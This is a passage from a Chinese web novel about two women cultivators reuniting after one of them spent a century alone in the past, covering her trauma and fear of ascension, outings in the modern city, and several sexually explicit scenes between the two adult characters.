傅清微:“已经是第二天了,我想要。” 穆若水熟练地给予她极致的欢愉,目睹傅清微在她手下绽放哭泣。 她心想:她绝对不对劲。 床帐里热气未散,傅清微贴着女人曼妙的身体,手指抚上她圆润雪白的肩头,道:“师尊,我昨夜讲到哪里了?” “讲到你在村子里过得很开心。” “是吗?” “有人冬天送了你熊皮,巫祝都没有。” “嗯。” 傅清微听出她使用的代词,想起团聚了一日,被她遗忘掉的一件事。 她温柔摸着穆若水的长发。 “你有关我们之间的记忆也是我封印的,你想解开它吗?” 第162章 穆若水说:“不想。” ——你想解开记忆封印吗? ——不想。 女人答得毫不迟疑, 傅清微心里也只有这一句落定的尾音,消失在耳畔后,她并不意外。 穆若水秉性骄傲, 比曾经的姬湛雪有过之无不及, 自负自恃, 一段已经过去的往事,于她早就是前尘。从石棺中醒来那一刻, 她就是完完全全的穆若水。 她作为穆若水爱上了傅清微, 只与她自己有关,永生永世和她在一起, 与往事有何牵连? 前生事早已随着炼尸那一刻尘埃落定, 何必去握捉不住的来时风。 傅清微有一个顾虑:“可是……我和以前的你一起生活了二十年。” 师尊真的不会吃醋吗?她那么小心眼。 穆若水面不改色:“那又如何?当你妻子的人只有我。” 傅清微心想:你最好是。 两人到底还是起了床,作为两个脱离了正常人类范畴的人,在床上躺一天一夜是一种刑罚, 除非她们一直在做。 傅清微如今的身体倒是受得了, 那里也受得住,被穆若水弄了一晚上也没受伤。 只是…… 再继续下去的欢爱不是完全出自对对方的渴望,掺杂了她的不安和穆若水的疑虑, 不如不做。 两个人一起坐在院子里晒太阳就挺好。 到这里不得不形容两人穿衣服时的姿势,傅清微的手一定要牵着穆若水,穆若水穿上一只袖子,换一只手给傅清微牵, 再去穿另一只袖子。 她帮傅清微穿衣服时也是一样。 穆若水好不容易披了外袍:“清微,我一只手系不上腰带。” 傅清微低头给她牵来腰带的另一端:“我帮你一起。” 两个人各出一只手, 哪有一个人的左右手默契, 穆若水第一次穿衣服穿出了一身的汗。 系好腰带的那一刻,先不管结打得丑不丑, 她长舒了一口气。 幸好她们俩现在都脱离了普通人类范畴,否则一趟一趟地牵手上卫生间,画面不忍直视。 穆若水没问她为什么不肯放开她手,短暂的一刻都不行,唯有时间是良药。 到院子的藤椅里晒太阳了。 “我、你和巫祝三个人在一起生活,巫祝教了我祝由术,教我行医。我掉落的地方是西南边陲,夏秋的菌子很多,那年冬天,因为巫祝没把菌子炒熟,我中了毒,人生初体验,非常好笑,你有没有刷到过……网、联互网上的菌子中毒评论,很多白杆杆小人在跳舞。” “疼吗?” 穆若水躺在藤椅里,傅清微和从前一样枕在她怀中,一只手被女人牵着。 “什么?”她问。 “中毒疼不疼?” “你不要总是惹我哭。”傅清微沉默过后,说道。 “你本来就是一只爱哭的小猫咪,你已经回家了,可以哭。” 穆若水说:“告诉我,我想知道。” 傅清微低声道:“不疼,只是很想你。我醒了以后问巫祝有没有什么菌子吃下去可以见到想见的人,她说没有。而且你也一直……不来我的梦里。” 穆若水唇瓣吻去她的眼泪,道:“是我的错。” “师尊你变了。” “为师一直如此。” 傅清微吸了吸鼻子,跳到下一段:“巫祝让我教你写字,我知道了你以前的名字,你想听吗?” “说说看。” “叫作,姬湛雪。” 傅清微边说边抬头看女人的表情,穆若水从容不迫,没有多余的反应,问:“然后呢?” “然后土匪就来了。” 那是一段傅清微刚掉入异世后形势最紧迫的一段时光,即使对日后多次遇险的她来说已微不足道,最初的事总是最清晰。 傅清微一口气从交战土匪,讲到开春她离开依布村,妖魔巨物蜘蛛袭击村落,姬湛雪的娘亲死在这次战役里,她本想将跟屁虫姬湛雪打晕送回村子,意外发现她长着和穆若水一模一样的脸。 她们在乱世开始了长达大半年的流亡。 在山里和野人一样生活,好不容易走出来却误入战区,枪响不断,连忙钻回了野林。 千辛万苦扮作孤儿寡妇蒙混进了城里,却弹尽粮绝,整日饿肚子。 她们被困在了城里,举目无援。 傅清微不得已去卖艺挣口饭钱。 穆若水听到这里深吸了一口气,泪珠盈眶,说:“今日先到这,我、我……” 她沉寂多年的胸腔忽然浸满了无法纾解的酸楚。 傅清微拉着她的手,她甚至不能去树顶吹吹风,好让风擦去她的眼泪。 傅清微的手指取代了轻柔的风,摸到她湿润的眼角。 “都过去了。” “日子也会好起来。” 穆若水沉默转移话题:“我去做饭。” 刚好夕阳西下,傅清微不知不觉又讲了一下午。 她应了声好,和穆若水一起动身去厨房。 途中她问:“我那时一直有个心结,我用师尊教的武艺去哗众取宠,你知道了会不会怪我?” 其实傅清微心里大约知道答案,可她还是想听她说。 “不会。” “那就好。”傅清微点了一下头。 穆若水的手扶在门框上,骨节分明的指节泛出用力过度的白。 她没有去看傅清微的脸,因为她的眼眶满是泪水。 “我只是突然好恨我自己。” 为什么让你一个人流落异世。 为什么要离开你去对付“折枝”?为什么没有寸步不离地守在你身边? 穆若水松开手进屋,门框留下五个清晰的深深指印。 * 当晚二人去泡了温泉,应傅清微的愿,两人在温泉里做了几次。 从基础跨越到进阶,傅清微的声音也逐渐放开,周围的小动物们都探头探脑,又悄悄离去。 傅清微坐在池壁边的石椅里,一只手在水里轻轻按着女人的脑袋。 她仰起雪颈,晃动的漫天星辰倒映在她琥珀色的眼瞳里。 耳边动物窸窣的动静一清二楚,傅清微考虑要不要在温泉设个结界。 穆若水空着的那只手覆了上来。 傅清微低下头,看着她把自己挤压成各种形状。 她在石椅里挣扎动了动,被牢牢圈住腰身,被迫更深地送进她的口中。 突然长长的一声让小动物们一哄而散,躲在树后半晌不敢出来。 傅清微心想:明天就设结界。 穆若水把她抱在怀里,水草丰茂地抵着。 傅清微圈住女人的脖子,任由她乌黑的脑袋埋在自己身前作乱。 熟练地一遍一遍欺负她。 “累了吗?” 穆若水见她剧烈颤抖过后,云收雨歇,伏在自己怀中眼皮半阖,在热意的温泉里,周身透出淡淡的粉色。 “还好。” 傅清微稍稍摆脱了一滩春水的状况,驱赶困意,坐正了一些。 “你可以靠着我睡会儿。”以前傅清微也不是没在她怀里睡着过。 “我不困。” 穆若水撩开她的湿发,埋首亲了亲她布满粉晕的雪颈,借着动作的遮掩,蹙了蹙秀眉。 因为在温泉满足了好几次,回道观后二人没有再亲昵,而是相拥而眠。 穆观主的呼吸声消失。 穆若水装睡有一个得天独厚的优势,她不用呼吸,只要闭上眼,就无从判断她是醒着还是入睡。 穆若水清醒了一整夜。 从而发现傅清微一晚上都守着她,没有闭眼。 隔天穆若水假装睡饱了醒过来,搂着傅清微亲她的唇,笑说:“又在偷看我?” 傅清微嗯了声:“比你早醒一会儿。” 穆若水:“今天也要吗?” 傅清微将她的脸拽下来,喂了她满嘴,不容拒绝:“要。” 穆若水薄唇动了动,乖乖捧着吸吮。 穆观主大清早任劳任怨地伺候自己的妻子,半上午起来别别扭扭地穿衣服,连体婴似的在观内活动,最后坐在藤椅上继续听她讲过去的事。 穆若水对姬湛雪的一切都不感兴趣,她只有听到傅清微的部分会动容。 直到她们辗转数月,终于来到了家徒三壁、荒废的圆真观。 也就是曾经的蓬莱。 穆若水躺着的身子坐了起来:“什么?” 以穆若水的聪慧,她立刻和傅清微说过温泉是她们俩一起监修的那句话联系到一起,道:“蓬莱观是你建的?” 傅清微纠正:“是我们俩一起。” 穆若水不以为意地嘲讽:“姬湛雪屁大点小孩,她能有什么用?” 傅清微没有直言要不是姬湛雪,她早就失去精神支柱,死在一百多年前了。 大穆会吃醋。 傅清微继续滔滔不绝,讲着讲着到了重头戏:“于是我收你为徒了。” 穆若水木着一张脸。 傅清微:“哈喽,师尊,你有在听我说话吗?” 穆若水面无表情:“在听。” 她收姬湛雪为徒,关她穆若水什么事? 傅清微小心翼翼:“你现在的名字也是我取的。” 穆若水青筋一跳,勉强维持住了平静的表象。 为了完成历史的闭环嘛,臭小孩只是顶替了她的名字而已。 穆若水忍了忍,没忍住:“你管她叫什么?” 傅清微求生欲爆棚:“小雪。” 穆若水盯着她:“真的?” “千真万确。我敢对天发誓。” 穆若水躺了回去:“算了,信你。” 依旧有些不情不愿的酸,弥漫在空气里。 傅穆的师徒生活开始了,自从到了蓬莱后两人拮据的困境得到解决,日子越过越好,天机阁、天地钱庄、鬼市、三才舫,画卷一幅幅地铺开。 傅清微孤身的百年,都是靠着回忆过活,和穆若水,也和姬湛雪的。 …… 傅清微已经七天七夜没有合眼了。 从她和穆若水重逢以来,没有一刻放开她的手,也没有睡过一分钟的觉。 她修为再高,也无法掩饰眼睛里的红血丝,眼睑血红。 故事讲了七天到了尾声。 姬湛雪死了,傅清微顶替了她的名号,成为了慈让真人,灵管局的顾问。 从1938到2029,守着石棺的九十一年一笔带过。 穆若水不是不想追问,只是傅清微很久没有休息了,此刻最重要的事并不是这些。 她顺着她的结尾问道:“一年前的你推开这座木门,完成了最后一环,你就能回到原来的时空了,是这样吗?” 傅清微点了点头。 “如果不能回来呢?你不是白白等了那么久?” “除此之外,实在也没有别的办法。” “你有几成把握?” “九成。” 穆若水目光锐利地盯着她,傅清微承受不住地偏开了头。 她撒了谎。 当时的她就像绝境之中看到一根救命稻草,即使它在幻境里,她也拼了命地伸手去抓住。 《周易》里说:“大道五十,天衍四九,人遁其一。” 意思是天道从不设立绝对的死局,绝境到头,就是生机。 首尾互相连,起始亦是终。 她既是因,也是果,中间的任何一环都不能缺少,她改变不了定局,或许只有当她亲自完成这条因果时,她才会有离开的契机。 这也许是她唯一能“遁”的一线“天机”。 九十一年来,她一直这样说服自己,用漫长的等待来换一个未知的答案。 她死了,一切都会崩塌,她和穆若水的过去、现在、将来不复存在,她只有活下去,一直活到时间线闭合那一天,命运的轨迹画出一道完整的圆。 二十岁的傅清微推开门那一刻,她不知道迎接她的会是瞬间的消亡,还是天道为她打开新的一扇门。 生和死,哪有什么把握呢? 不过是孤注一掷,压上她的全部,赌一条出路。 所幸是后者,她回到了原来的时空,出现在了她消失的地方。 穆若水顺着她白发的手指摸到了年轻女人的脸颊,道:“你在那里独自生活了一百一十一年。” 傅清微说:“是。” 穆若水道:“可是在这个时空,只过去了十几分钟。” 她们的十几分钟,是傅清微一个人孤身度过的百年。 傅清微抬起来握住她的手,说:“是,但我很庆幸,你不用像我等你一样,等我那么久。” 穆若水落到她刺眼的白发,眼眶酸涩,说:“你的头发全白了……” 傅清微道:“人总是会老的,我活了一百多岁呢。” “可你的脸还是年轻时的样子,是成仙了吗?” “没有。”傅清微在心里悲哀地想:可能快了。 傅清微掩去自己一闪而过的心绪,故作轻松道:“可惜师尊没有见到我变老的样子。” 傅清微修为精深,在成为灵管局顾问后维持在四五十岁的容貌,在蓬莱的三十年,一脚踏入半步仙人的境界,外表只缓慢地增长了两三岁。 直到她穿回来。 因为她现实只消失了十几分钟,一个人不可能在瞬间衰老,所以时空自动修复了bug,让她的身体重回二十一岁。 只是生理年龄不变,从头到尾都是她自己,那个踽踽独行百年的傅清微。 穆若水用原来的话回答她:“不管你变成什么样,在我眼里都是二十岁的样子。清微,你现在是长生了吗?” 傅清微摇头:“半仙之体,寿元三五百年。” 穆若水:“那也很长了。” 经历生死,穆若水更坚定了和她同生共死的念头,是以对寿元反而不再偏执。 穆若水看着她眼底的红血丝,柔声道:“话也说完了,你要不要先睡一觉?” 傅清微说:“我不困。” 仙人也扛不住七天七夜不合眼,何况她只是半仙之体。 傅清微嘴巴小小地张开,忍回去一个哈欠。 穆若水将她从藤椅里抱回卧室的床上,坐在床沿一只手扣着她的五指,说:“睡吧,我守着你,一步都不离开。” 傅清微依旧看着她:“我不困。” 穆若水脱了外衫躺到她身边,将她搂进来,轻轻地给她拍着背。 傅清微抗拒。 “师尊,我……不想睡。” “怕见不到我?还是怕这是一场梦?” “都怕。”傅清微说,“我不想睡,你不要管我了。” 一百多年的伤痛和苦等并不是那么好抹平的,傅清微多少有些应激,态度也不算温和。 穆若水温柔道:“你是我妻子,我不管你谁管你?” 傅清微抓着她的衣襟,滚烫的热泪全部流进她颈窝里。 穆若水只能从她断断续续的痛苦哭噎里听出她说的话。 ——我做过好几次这样的梦,只要我一醒,你就会消失不见。 ——我还在蓬莱的道观里,守着石棺看不到头。 ——今年是哪一年?我见到的你是真的吗? 穆若水不动声色地仰了仰脸,将涌到眼眶的泪水逼了回去。 她的手一直给傅清微轻轻拍着后背,傅清微哭累了,最后终于睡了过去。 穆若水听着她沉重的呼吸声,一动不动地给她当枕垫。 几分钟后,傅清微惊醒! “师尊别走!”她面色惊惧,心跳起伏,明明穆若水就在她面前,她却像是看不见的要跳下床去找她。 穆若水手臂将她捞回来按进自己怀里,捧着她的脸,让她失焦的眼睛看向自己。 傅清微全身发抖,眸心颤了颤,慢慢地聚焦在女人熟悉的容颜。 傅清微呆呆地问:“你从苗寨回来了吗?” 穆若水霎时泪如雨下。 “回来了,我再也不走了。”女人一向强大自持,连泪也不肯当她的面落一滴,第一次对她哽咽。 这么多年里,困住傅清微的不仅是百年前的蓬莱。 还有穆若水当初离开灵管局的背影。 午夜梦回,她不止一次地想,如果当初她把穆若水留下来了多好。 她们就不会分别那么久。 她知道她留不下她,所以在梦里一次次地追逐她的背影。 傅清微从癔梦里醒过来,看清穆若水的脸,睡前的记忆涌来,仍然有些迟钝和不确定地说:“对不起。” “师尊,你怎么哭了?” 傅清微两只手给她擦眼泪,说:“不要哭,回来了就好。” 她仍以为在梦里,只是陷进了另一重梦。 穆若水泪流满面地说:“我们再睡一会儿吧,好吗?” 傅清微看着她,乖乖说:“好的。” 傅清微又睡了一觉,这次有十几分钟,她好像清醒一些了,看了会儿穆若水和她说了几句话,又睡了过去。 断断续续地睡了十几觉,总共也就两三个钟头。 傅清微精神好些了,偎在穆若水怀里不起,沉默半晌,问她:“我是不是变得很奇怪?” 穆若水眼皮的红肿没有完全消掉,吻了吻她的额头。 “没有。” 傅清微的下巴低了低,脸埋进她肩窝,一言不发。 傅清微混乱的精神状态在几天后得到好转,虽然还是会发梦,半夜醒来,但穆若水的手总是紧紧地扣着她的五指,第一时间给她回应,她感受着十指相扣传来的力量,慢慢地自己也能分清梦和现实。 仰起脸和师尊接了个轻柔的吻,靠着她再度睡去。 傅清微抽出空来,和穆若水并肩坐在院子里,给龙璇玑打了个视频。 龙璇玑恨不得把花瓣下到屏幕这边。 傅清微原先的手机毁了,她让灵管局给她重新补办了卡和手机送上山,拿到新手机的第一时间给甘棠报平安。 甘棠:【你怎么啦?】 在甘棠那里她也只是一个星期没和她聊天,在傅清微加入忙碌的灵管局后并不少见。 傅清微:【没事,我想你了】 甘棠:【好肉麻啊,但是我喜欢哈哈哈】 傅清微:【有空约个饭吧,过两天等我身体好一些去找你】 甘棠:【怎么说话突然这么客气?好像我们很久没见面一样】 甘棠:【还有!你又受伤了吗?】 傅清微:【没事,快好了】 甘棠:【你肯定有事,见面聊,速速安排[盯.jpg]】 傅清微:【好】 傅清微聊完天后,把手机递过去,穆若水接过给她放到一边,让她窝在自己怀里休息。 她久别重逢的患得患失症似乎好了一些,可仔细一看,眉眼间仿佛还藏着别的阴霾,挥之不去。 她可能真的要成仙了。 傅清微身怀偃骨,在蓬莱观的后三十年辟谷,踏入半步仙人的境界,隐约窥见了一层看不见摸不着的东西,那是法则,人与仙之间最本质的区别。 穿越回灵管局的那个瞬间,她进一步触摸到了无形的法则和天道,她能感觉到,飞升离她越来越近了。 仙人飞升上界,永居昆仑,不可留在人间。 但穆若水还在凡间,她不能陪她一起。 所以她这么多年的苦苦等待算什么? 只换半个月的相聚吗? 穆若水陪傅清微来到了道观的前院。 傅清微走入了西王母的正殿,和从前一样上了一炷香。 穆若水给她取来黄色蒲团,傅清微端端正正地跪在了西王母的神像前。 虔诚地叩首。 一叩首,再叩首,三叩首。 傅清微额头贴地,燃香前长跪不起。 如果成仙的代价是失去她,弟子愿—— 生生世世,永不成仙。 第163章 傅清微身体休养了两天, 约甘棠吃饭叙旧。 穆若水找出她衣柜里的现代装,早上傅清微坐在床上,两条光溜溜的手臂从被子里伸出来, 盖在胸口的锦被滑落。 深深浅浅的暗粉。 穆若水双手拥过她, 灵活指尖在她背后扣好内衣扣。 傅清微顺着她低下来不动的视线看了看, 说:“师尊,你好涩。” 穆若水一边给她调整前面一边亲了亲, 道:“昨夜不知谁在求我, 怎么都要不够。” “可现在是白天。” “你又知道害羞了?” “……” 纯情百岁女大把下巴抵在女人肩头,穆若水安静地和她相拥, 过了会儿将她抱下床, 弯腰半蹲下身给她穿鞋。 她动作自然得仿佛做过千百遍。 傅清微反倒微弱的不自在。 师尊好像对她太好了,她的贱骨头有点发作了。 啊?是妻子啊,那没事儿了。 傅清微穿好运动鞋, 站在地上, 说:“下次我也给你穿。” 穆若水说:“我喜欢照顾你。” 顿了顿,她补充:“不止在床上。” 傅清微:“我没说只有在床上啊。” 穆若水波澜不惊:“你的眼神我以为你想到昨晚了。” “……” 其实是今早,就在穿衣服之前还被穆若水吃干抹净了一次。 很难不回忆好吧? 两人给猫做好饭下山, 虽可以御空,她们却不约而同地选择了步行,边走边和早起的小动物打招呼。 傅清微的车停在山下,两人互视一眼, 傅清微坐进了驾驶座。 她笑说:“百岁老人上路会不会被抓啊。” 穆若水:“没关系,灵管局会捞你出来。” 傅清微摸着皮质方向盘, 梦里可没梦到这么具体过, 她打开昨晚收藏复习的视频,再次温习了一遍驾驶技巧。 时隔百年, 百岁女大驾驶着她的小白车颤颤巍巍地上路了。 傅清微在郊区开了一段熟悉手感,掉头驱车往城里驶去,穆若水旋开了播放器的按钮。 流行乐的歌曲从车载音箱里传出来。 傅清微:“这是那个歌手……叫什么来着?爱你~” 穆若水:“Cindy。” “对,就是她。还能听到她的歌,真是太好了。” “她最近在开巡演,要不我们去看她的演唱会?” “真的可以吗?”傅清微知道她讨厌人多的地方,演唱会人山人海,不是一般的拥挤。 “……你说话有点客气了。” “有吗?” “有。” “可能因为我在开车,我有点紧张,待会说。” 穆若水默默上小地瓜搜索演唱会怎么去,根据傻瓜教程下载了购票app,点击预约抢票。 “你身份证号多少?” 傅清微一怔:“忘了。” 穆若水伸长胳膊把后座的包拿过来,找出卡包里二人的身份证,对着填观演人。 傅清微从忙碌的眼观六路里抽空看她一眼专注的侧脸。 “真要去看演唱会啊?” “为师什么时候骗过你。” “可是……我不想你勉强自己。” “我也想看演唱会。”只要是和你一起。 后面的话太肉麻,穆观主自动在她面前消音。 “那你买吧,我们俩去看。”傅清微目视前方,高兴得握了握方向盘,说,“师尊,我们好像谈恋爱啊。” “那之前算什么?” “先婚后爱?哈哈。” 穆若水立刻上网查先婚后爱的意思,决定下车以后好好惩罚她一顿。 某种意义傅清微说得不错,她们的感情和经历曲折,根本没有好好地谈一场平凡的恋爱。 只是两个人在一起做一些有趣的事,无忧无虑地生活,都极为珍贵。 * 火锅店。 甘棠远远地看到并肩走过来的傅清微和戴着口罩的女人,站起来招手:“这里!” 傅穆二人入座,坐在同一边。 甘棠哇了一声,把刚才的震撼一起抒发出来,指着傅清微道:“姐们,你这头发……” 傅清微和穆若水互视一眼,傅清微含笑回道:“染的,怎么样帅不帅?” “简直帅炸了!” 甘棠走过来,捧起她的白发一根一根地端详,惊叹说:“上哪儿找的Linda老师,这么均匀有光泽,还不掉色。要不我也去染一个?” 傅清微还没回答,甘棠摆手道:“算了,我皮肤没你白,这个发色会像老奶奶。” 傅清微:“哈哈哈。” 甘棠:“话说,当道士可以染头发吗?” 穆若水替傅清微回答:“可以。” 甘棠爱不释手:“哎,真不错。跟仙人下凡似的。” 她恋恋不舍地摸了会儿傅清微“新染”的白发,自觉地在穆若水吃醋前,坐回了对面。 甘棠冲着傅清微挤眉弄眼,说:“还不介绍一下?” 傅清微和穆若水结契以后,向甘棠公开了她们的恋情,之后她蛊毒发作,奔波求医……等等很多年过去了,现在才和甘棠见面。 也是她第一次带着女朋友正式见好朋友。 傅清微紧张得端起水杯喝水,清了清嗓子,正式介绍身边的人:“她是我女……” 穆若水不紧不慢摘下黑色口罩。 “我是她老婆。” 席间忽然安静了。 傅清微的话卡在喉咙里。 甘棠两只手捂住自己的嘴,还是发出了一声尖锐爆鸣。 妈妈我要死了。 几秒后,甘棠拍着桌子,指着傅清微:“傅清微!你是我见过最行的人!女人中的女人!我以茶代酒,先干为敬!” 甘棠一饮而尽,畅快道:“洒家这辈子值了!” 傅清微怔怔地喝了半杯水,看向淡定的穆若水。 穆若水点了点手机。 傅清微打开消息查看:【凡间不是管妻子叫老婆吗?】 傅清微:“……” 是这个道理,可是你不打一声招呼就自称老婆,我的心脏受不了啊。 跳得她都有点心悸了。 傅清微深呼吸,揉了揉自己剧烈跳动的胸口。 穆若水柔软的手覆上她手背,关切地问:“这里疼吗?” 甘棠害羞捂眼,从指缝里大大地偷看。 傅清微吃得真的太好了,脖子和锁骨的吻痕还没消呢,老婆活好又漂亮,温柔体贴,人生赢家! 最主要的是,她把师尊拐上床了啊啊啊!师徒恋诚不我欺! 一顿饭吃得宾主尽欢。 傅清微辟谷后吃不下这些重口的,又不好拂甘棠的好意,让她多想,勉强动了几下筷子,用清水涮蔬菜。 穆若水见状陪她用了一些。 傅清微胃口果然好多了。 把甘棠送到家以后,傅清微问穆若水有什么想去的地方没有,她随口一提没有抱任何打算,穆若水却说去她的学校看看。 现实的时间线里,傅清微在几个月前刚刚毕业。 傅清微驱车去了学校,两人在校园里手牵着手散步,路过青春。 去见了教学楼的学姐鬼。 绿衣服学姐:“哦豁,你又来了啊。学妹几时毕业?” 傅清微笑道:“已经毕业了,好久不见学姐。” 绿衣服学姐脑子不好:“你上次是不是威胁我了?” 傅清微纯良无辜:“没有,你记错了。” 绿衣服学姐想了想,绽放出大大的笑容:“欢迎回来,学妹。” 傅清微在穆若水的允许下,抱住了空气里的学姐鬼,说:“我也想你,学姐。” 分别时绿衣服学姐鬼还和她热情挥手:“有空下次再来啊。” 两人去了图书馆后的湖边。 黑鱼精作乱已经是年初的事了,约会圣地遍地都是小情侣。 湖边的柳树下,傅清微牵紧穆若水的手十指相扣。湖面反射着粼粼波光,穆若水和她面对面站着,将温柔的吻印在了她的额头。 她是真的回来了。 学校是真的,学姐鬼是真的,她身边的爱人更是真的。 “若水。” “嗯?” “我忽然觉得你好爱我。” “大胆点,去掉前五个字。” “好的。”傅清微忍俊不禁。 爱她是真的,傲娇也是真的。 两人在湖边晒了会冬天暖洋洋的太阳,傅清微主动提出想看电影,挽着女人的手,边走边问道:“最近有什么好看的电影吗?” 互联网戒了一百多年,傅清微连手机都玩不利索了,也没有曾经不离手的习惯。 穆若水也不大了解,对着上映电影的片名一部部念给她听。 偶尔有傅清微耳熟的演员,死活想不起是谁。 一百多岁的小情侣终于半斤八两,随即选了一部三位主演都是女性的,走进了放映厅。 傅清微上次看电影在1935年,沪城,和姬湛雪。 傅清微刚入座,看见面前的巨幕,下意识感叹道:“好大。” 和穆若水第一次坐高铁时异曲同工。 电影放映过程里,傅清微扭头,想和穆若水讲话,两次欲言又止,三次生硬地拐了话题。 她和姬湛雪在沪城看了十几部电影,比和穆若水加起来都多。 穆若水听她讲过这段旅游往事,心知肚明。 穆若水:“……” 肯定又想起那小屁孩了。 还有合影,她都没和自己正经在照相馆拍过照。 都让小屁孩赶上了。 穆若水拈酸吃醋了俩小时,傅清微心满意足地出了电影院。 算了,她高兴就好。 穆若水强迫自己倒掉了那些酸水。 傅清微辟谷后,做饭成了两人的情趣,可以不一日三餐,但不能没有。最后一站超市采购了食材,两人驱车回家。 搬东西的工具人成了两个,有说有笑地轻快上去了。 进门后傅清微蹲下来撸猫,夹子音上线,穆若水去整理冰箱,回头看看她蹲在院子里的身影,微微一笑。 穆大夫妙手回春,进城逛了一圈的傅清微精神饱满,气血充盈,从温泉回来后,两人进屋,傅清微将穆若水抵在了门边,嗅着她颈边散发幽香的发丝。 她朝穆若水欲说还休地望了一眼,指尖隔着青衫滑过女人圆润的肩头。 穆若水明知故问扬眉:“干什么?” 傅清微在她肩膀轻轻咬了一口,抬眼。 “你。” 她问:“可以吗?” 穆若水喜欢不置可否地拿乔,面对爱人的索取却难得直接。 她执起傅清微搭在她肩膀的右手,吻了吻她玉白的指节,低柔回道:“任卿采撷。” 傅清微的呼吸骤然重了一下。 她所有的实践经验都是从穆若水身上学来的,在门边开始吻她。 两人身高相差无几,她搂着穆若水的腰,抬头就可以吻到。论接吻技巧,二人不分伯仲,有时傅清微略胜一筹,她的气息对穆若水有天然的吸引力。 只要侵入得深了,女人便会克制不住地发出诱人的轻吟。 沉寂的胸腔也会微微起伏。 傅清微握着她的一只手腕将她带入怀里,从高到低地吻她,舌尖愈发深入地探进去,和她纠缠。 她圈着女人腰肢的另一只手,隔着衣服不断丈量她的腰身,流连忘返。 穆若水起伏的心口深了些,喉咙里轻轻地“唔”了一声。 紧接着被炽热的唇舌堵了回去。 傅清微拿开了她情不自禁往自己身上摸的手,提醒道:“扣一分。” 穆若水:“……” 什么时候多的扣分环节? 说实话她只有接吻的快感,没有傅清微经常被她亲得腿软的感觉,大约是她这副身体炼尸时千锤百炼,所有的神经点都迟钝了。她不是人类。 她更喜欢傅清微在她身下承欢的心理满足。 既然傅清微想要她,她会配合妻子的任何要求。 傅清微不知道她的想法,鼻翼间馥郁的返魂香被她唇舌吻过,留下专属的印记。 “痛不痛?”她指尖点着那道新鲜的痕迹。 “……”穆若水在犹豫要不要撒谎,“可能吧。” 如果傅清微不问的话,她甚至没发觉蚊子叮了她一下。 “师尊。” 傅清微发现了她的模棱两可,说:“你是不是没感觉?” “不是完全没有,你亲我,我很高兴。” “还有呢?” “一点点舒服。” “只有一点点?” “嗯。” 傅清微将她横抱迈向床边,穆若水第一次被她这样抱起来,无所适从地搂住了她的脖子。 傅清微来到床沿却不把她放下来,穆若水只好一直维持这个姿势,宽大的衣袖滑落到肘弯,露出雪白的小臂,月光镀上一层柔光。 年轻女人就着抱她的姿势亲她的手肘内侧,小臂往下直到手腕,一路吻过去。 身体悬空,毫无依凭的情况下反而让穆若水的感官全部集中到唇与皮肤的接触上。 软软的唇,花瓣一样的吻。 穆若水舒服地叹气。 傅清微耐心地调动她迟钝的细胞,在穆若水忍不住来吻她的时候,带着她轻轻地倒在了床面上。 青袍的衣带未束,平铺在床面。 傅清微埋首亲吻她的侧颈和耳后,返魂香最浓郁的地方,她边闻边咬她洁白耳廓。 “师尊,你好香……” 穆若水隐忍地将脸扭到一边,没有开口斥她以下犯上,一张嘴就会走漏声音。 “你故意送上来,是迎接我吗?”傅清微顺势包裹住她整只耳朵舔弄,湿漉漉,红通通。 “我没……嗯……” “你没有。”傅清微低声说,“是我想这么对你,我想了很久了。不论什么时候,我总是在想你。” “……你的话好多。” “谁让我爱你。” 穆若水瞬间原谅她的废话。 穆若水极其慢热,傅清微又没有经验,幸好她是成长后的大傅,否则换到从前,她可能应付不了这副局面。 傅清微将女人抱了起来,面对面交叠坐着,也仰起头说:“喂我。” “……” 效法失败。 傅清微只好主动把她捧起来,低头去吻她。 这块她不熟练,毕竟她不能自己够到自己,舌尖轻抿打转,辗转吮吸。 穆若水看起来喜欢,但傅清微没耽误太多时间。 她重新抱住女人躺下,两根手指摸到她的双唇,然后轻轻地在心里叹气。 比起她这只什么好什么多的小猫咪,师尊简直是另一个极端。 如果她换一个思路,先让穆若水对她来一次,效果会比由她开始好得多。可惜现在的傅清微没有掌握这种技巧,只能一条道走到黑。 女人的唇薄而干燥,紧闭门关地等待着。 傅清微坐了起来,仰了仰颈,开始用缎带束发。 穆若水注视着她的动作,直到她消失在自己的视野。 年轻女人的呼吸扑洒在微凉的唇瓣,穆若水身上哪里都是冰冷的,只有在和她亲热时会血液热起来,现在还是冷的,傅清微端详着,用手指轻轻地触碰了一下闭拢的唇。 女人瑟缩。 不是完全无感。 “师尊……” “我要亲你了。” 穆若水听到在她对自己说话,手指梳着微卷的发,朝她俯身吻了下来。 女人僵硬了一下身子,将眼珠转到头顶的床帐。 傅清微小心翼翼地吻她,用柔嫩的舌尖一点点濡湿她干燥的薄唇,温热的口腔包裹着湿润它,体贴地吮吻每一个角落,照顾周到。 不知过了多久,穆若水的五指浅浅地探进她的发丝之中。 傅清微得到了鼓励,纠缠的舌尖分开她的唇缝,尝到了女人的甘霖。 “若水……”她含混地喊她的名字,热气不住地扑上去。 穆若水的手指往下按,将她轻轻地带向自己,更紧密地贴合。 傅清微知道为什么师尊会沉迷于此了,穆若水的手按下来那一秒,她脑袋是眩晕的。 等她反应过来后,已经两手捧着女人激烈地和她接吻,唇与唇之间咂弄出水声。 穆若水依旧望着帐顶,花纹微微晃动,整只耳廓都红了一圈。 “清微……”她的叹息声急了一拍。 傅清微充耳不闻,只顾沉溺于自己的感受中,几番激吻后,她舌尖卷去女人刚为她热情溢出的,继续下一轮挑逗的亲吻。 穆若水恢复到了那种犹如泡温泉的体验里。 傅清微不是不想一鼓作气,而是穆若水的唇珠藏得极为隐蔽,她所做的远远不够。 “师尊……” “嗯?” 傅清微一边说话一边轻轻咬她,说:“你爱不爱我?” “非要这时候问?” “嗯。”傅清微忽然挤进她的唇缝,穆若水含着她的舌尖低低地哼出一声。 她轻喘了口气,道:“白天不是答过了吗?” 傅清微的舌尖抵着更湿热处退了出来,舔着她努力之下晶莹的唇瓣,道:“再回答我一次。” “不要。” 傅清微和她调着情,发现穆若水会因此有更热情的反应,所以她边亲边说话,时而一轮疾风骤雨,冲击得穆若水说不出话。 只能一味按着她的脑袋,欲拒还迎。 女人隐忍的低吟愈发清晰。 傅清微寻找到她的手,和她十指相扣,感觉时机到了。 一颗不明显的唇珠游走在她的舌尖之下,傅清微时而用舌尖勾着,时而用舌面去压,它像个调皮的孩子和傅清微玩起了追逐战。 最终还是傅清微略胜一筹,她紧紧地包裹住唇珠吸吮,舌尖快速地碾动。 穆若水的手往回挣,身体也在躲避。 傅清微扣住她,搂着她,女人脑袋摆动,含混不清地低鸣,似乎在喊傅清微的名字,又似乎是一种奇异的哭腔。 